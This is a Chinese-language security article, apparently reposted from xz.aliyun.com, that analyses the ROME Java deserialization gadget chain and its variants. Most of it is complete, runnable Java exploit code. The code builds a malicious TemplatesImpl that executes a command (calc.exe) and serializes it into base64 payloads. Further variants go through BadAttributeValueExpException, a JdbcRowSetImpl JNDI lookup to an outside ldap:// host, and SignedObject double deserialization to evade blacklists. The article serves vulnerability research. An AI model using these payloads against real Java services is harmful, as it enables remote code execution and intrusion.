ROME反序列化利用链
2023-11-24 22:38:34 Author: xz.aliyun.com(查看原文) 阅读量:6 收藏

前言

rome中的ToStringBean类,其构造函数为传入类和对象,分别赋值给this._beanClass和this._obj

其无参toString方法会调用有参toString方法,传入的参数为this._beanClass值的类名

在有参toString方法中,会先获取this._beanClass的getter方法,然后通过反射调用this._obj的getter无参方法,而TemplatesImpl的getOutputProperties方法会触发类加载导致代码执行

rome中的EqualsBean类的hashCode方法会调用beanHashCode方法,而beanHashCode方法会调用this._obj.toString()方法

this._obj由EqualsBean的构造函数传入,是我们可控的

因为在HashMap的readobject方法中,会调用hash(key),进而调用key.hashCode(),所以我们可以利用HashMap作为入口构造反序列化链子

demo

util.java

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import java.io.*;
import java.lang.reflect.Field;

public class util {
    public static Object getTeml() throws Exception{
        // 动态构造恶意TemplatesImpl对象
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("asdasdasasd");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        // 获得其变量
        Field name = templates.getClass().getDeclaredField("_name");
        Field clazz = templates.getClass().getDeclaredField("_class");
        Field factory = templates.getClass().getDeclaredField("_tfactory");
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        // 赋予修改权限
        name.setAccessible(true);
        clazz.setAccessible(true);
        factory.setAccessible(true);
        bytecodes.setAccessible(true);
        // 修改变量值
        name.set(templates,"asdasd");
        clazz.set(templates,null);
        factory.set(templates, new TransformerFactoryImpl());
        bytecodes.set(templates,targetByteCodes);
        return templates;
    }

    public static void setFieldValue(Object o, String fieldName, Object value) throws Exception {
        Field field = o.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(o,value);
    }
    public static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    public static void unserialize(byte[] b) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bis = new ByteArrayInputStream(b);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
}

rome.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;

public class rome {

    public static void main(String[] args) throws Exception{
        TemplatesImpl template = (TemplatesImpl) util.getTeml();
        ToStringBean toStringBean = new ToStringBean(Templates.class, template);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        HashMap hashmap = new HashMap();
        util.setFieldValue(hashmap,"size",2);
        Class nodeC = Class.forName("java.util.HashMap$Node");
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 1);
        Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, 1, null));
        util.setFieldValue(hashmap,"table",tbl);

        byte[] ser = util.serialize(hashmap);
        String exp = Base64.getEncoder().encodeToString(ser);
        System.out.println(exp);
        util.unserialize(ser);
    }

}

调试分析

构造的HashMap

在HashMap的readObject方法中会调用到putVal(hash(key), key, value, false, false)

跟进hash(key),会调用key.hashCode()方法,此时key为EqualsBean对象

紧接着调用到EqualsBean的beanHashCode方法,然后调用this._obj.toString()方法

此处this._obj为ToStringBean

进入ToStringBean.toString方法

获取getter方法

反射调用this._obj的getter方法,此处this._obj为恶意TemplatesImpl对象

反射调用恶意TemplatesImpl对象的getOutputProperties方法,从而触发类加载导致代码执行
调用栈:

其他构造方式

BadAttributeValueExpException

BadAttributeValueExpException类在反序列化时会调用toString方法

valObj可控,为其构造函数传入

demo

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.util.Base64;

public class rome2 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl template = (TemplatesImpl) util.getTeml();
        ToStringBean toStringBean = new ToStringBean(Templates.class, template);
        BadAttributeValueExpException b = new BadAttributeValueExpException(1);
        util.setFieldValue(b,"val",toStringBean);
        byte[] ser = util.serialize(b);
        String exp = Base64.getEncoder().encodeToString(ser);
        System.out.println(exp);
        util.unserialize(ser);
    }
}


调用栈:

JdbcRowSetImpl

JdbcRowSetImpl类的getDatabaseMetaData方法会调用this.connect方法

this.connect方法中会调用lookup,在dataSource可控的情况下会造成jndi注入漏洞

dataSource可以通过setDataSourceName来设置

demo:

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.util.Base64;
import java.util.HashMap;

public class rome3 {
    public static void main(String[] args) throws Exception{
        JdbcRowSetImpl j = new JdbcRowSetImpl();
        j.setDataSourceName("ldap://d92d14bde1.ipv6.xn--gg8h.eu.org.");
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, "1");
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap hashmap = new HashMap();
        hashmap.put(equalsBean,1);
        util.setFieldValue(toStringBean,"_obj",j);
        byte[] ser = util.serialize(hashmap);
        String exp = Base64.getEncoder().encodeToString(ser);
        System.out.println(exp);
        util.unserialize(ser);
    }
}


SignedObject

SignedObject类的getObject方法中,会反序列化this.content,造成二次反序列化

而this.content由其构造函数传入

再反序列化入口有黑名单时,可以将序列化对象最为参数传入SignedObject的构造函数中,触发SignedObject的getObject方法,造成二次反序列化进行绕过
demo:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.Serializable;
import java.math.BigInteger;
import java.security.*;
import java.security.interfaces.DSAParams;
import java.security.interfaces.DSAPrivateKey;
import java.util.Base64;
import java.util.HashMap;

public class rome4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl template = (TemplatesImpl) util.getTeml();
        ToStringBean toStringBean = new ToStringBean(Templates.class, "template");
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap hashmap = new HashMap();
        hashmap.put(equalsBean, "1");
        util.setFieldValue(toStringBean,"_obj",template);

        SignedObject s = makeSignedObject(hashmap);

        // 二次反序列化
        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, "s");
        EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
        HashMap hashmap2 = new HashMap();
        hashmap2.put(equalsBean2, "1");
        util.setFieldValue(toStringBean2,"_obj",s);

        byte[] ser = util.serialize(hashmap2);
        String exp = Base64.getEncoder().encodeToString(ser);
        System.out.println(exp);
        util.unserialize(ser);
    }

    private static SignedObject makeSignedObject(Object o) throws IOException, InvalidKeyException, SignatureException {
        return new SignedObject((Serializable) o,
                new DSAPrivateKey() {
                    @Override
                    public DSAParams getParams() {
                        return null;
                    }

                    @Override
                    public String getAlgorithm() {
                        return null;
                    }

                    @Override
                    public String getFormat() {
                        return null;
                    }

                    @Override
                    public byte[] getEncoded() {
                        return new byte[0];
                    }

                    @Override
                    public BigInteger getX() {
                        return null;
                    }
                },
                new Signature("x") {
                    @Override
                    protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

                    }

                    @Override
                    protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

                    }

                    @Override
                    protected void engineUpdate(byte b) throws SignatureException {

                    }

                    @Override
                    protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

                    }

                    @Override
                    protected byte[] engineSign() throws SignatureException {
                        return new byte[0];
                    }

                    @Override
                    protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                        return false;
                    }

                    @Override
                    protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

                    }

                    @Override
                    protected Object engineGetParameter(String param) throws InvalidParameterException {
                        return null;
                    }
                });
    }
}

不依赖ToStringBean

EqualsBean的beanEquals方法中也存在getter方法的调用,但需要满足this._obj和obj都不为空,this._obj是构造函数传入的,obj是调用beanEquals方法时传入的参数,EqualsBean的equals方法调用了beanEquals方法

在Hashtable的readObject方法中,会调用reconstitutionPut方法,在reconstitutionPut方法中会调用到equals方法

e是由tab而来,tab中为空时,会将传入的key和value传入tab

不为空时,会调用if ((e.hash == hash) && e.key.equals(key)),先进行hash判断,hash由key.hashCode而来(可hash碰撞进行绕过),HashMap的eauqls方法最终会调用到AbstractMap的equals方法,AbstractMap的equals方法中,会调用到value.equals(m.get(key))

构造payload使value为equalsbean,m.get(key)为恶意对象
demo:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.Serializable;
import java.math.BigInteger;
import java.security.*;
import java.security.interfaces.DSAParams;
import java.security.interfaces.DSAPrivateKey;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class rome6 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl template = (TemplatesImpl) util.getTeml();
        ToStringBean toStringBean = new ToStringBean(Templates.class, "template");
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap hashmap = new HashMap();
        hashmap.put(equalsBean, "1");
        util.setFieldValue(toStringBean,"_obj",template);
        SignedObject s = makeSignedObject(hashmap);
        SignedObject s2 = makeSignedObject(null);

        // 二次反序列化
        EqualsBean equalsBean2 = new EqualsBean(String.class, "1");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",equalsBean2);
        map1.put("zZ",s);
        map2.put("zZ",equalsBean2);
        map2.put("yy",s);

        Hashtable t = new Hashtable<>();
        t.put(map1,"1");
        t.put(map2,"2");

        util.setFieldValue(equalsBean2,"_beanClass",SignedObject.class);
        util.setFieldValue(equalsBean2,"_obj",s2);

        byte[] ser = util.serialize(t);
        String exp = Base64.getEncoder().encodeToString(ser);
        System.out.println(exp);
        util.unserialize(ser);

    }

    private static SignedObject makeSignedObject(Object o) throws IOException, InvalidKeyException, SignatureException {
        return new SignedObject((Serializable) o,
                new DSAPrivateKey() {
                    @Override
                    public DSAParams getParams() {
                        return null;
                    }

                    @Override
                    public String getAlgorithm() {
                        return null;
                    }

                    @Override
                    public String getFormat() {
                        return null;
                    }

                    @Override
                    public byte[] getEncoded() {
                        return new byte[0];
                    }

                    @Override
                    public BigInteger getX() {
                        return null;
                    }
                },
                new Signature("x") {
                    @Override
                    protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

                    }

                    @Override
                    protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

                    }

                    @Override
                    protected void engineUpdate(byte b) throws SignatureException {

                    }

                    @Override
                    protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

                    }

                    @Override
                    protected byte[] engineSign() throws SignatureException {
                        return new byte[0];
                    }

                    @Override
                    protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                        return false;
                    }

                    @Override
                    protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

                    }

                    @Override
                    protected Object engineGetParameter(String param) throws InvalidParameterException {
                        return null;
                    }
                });
    }
}


文章来源: https://xz.aliyun.com/t/13104
如有侵权请联系:admin#unsafe.sh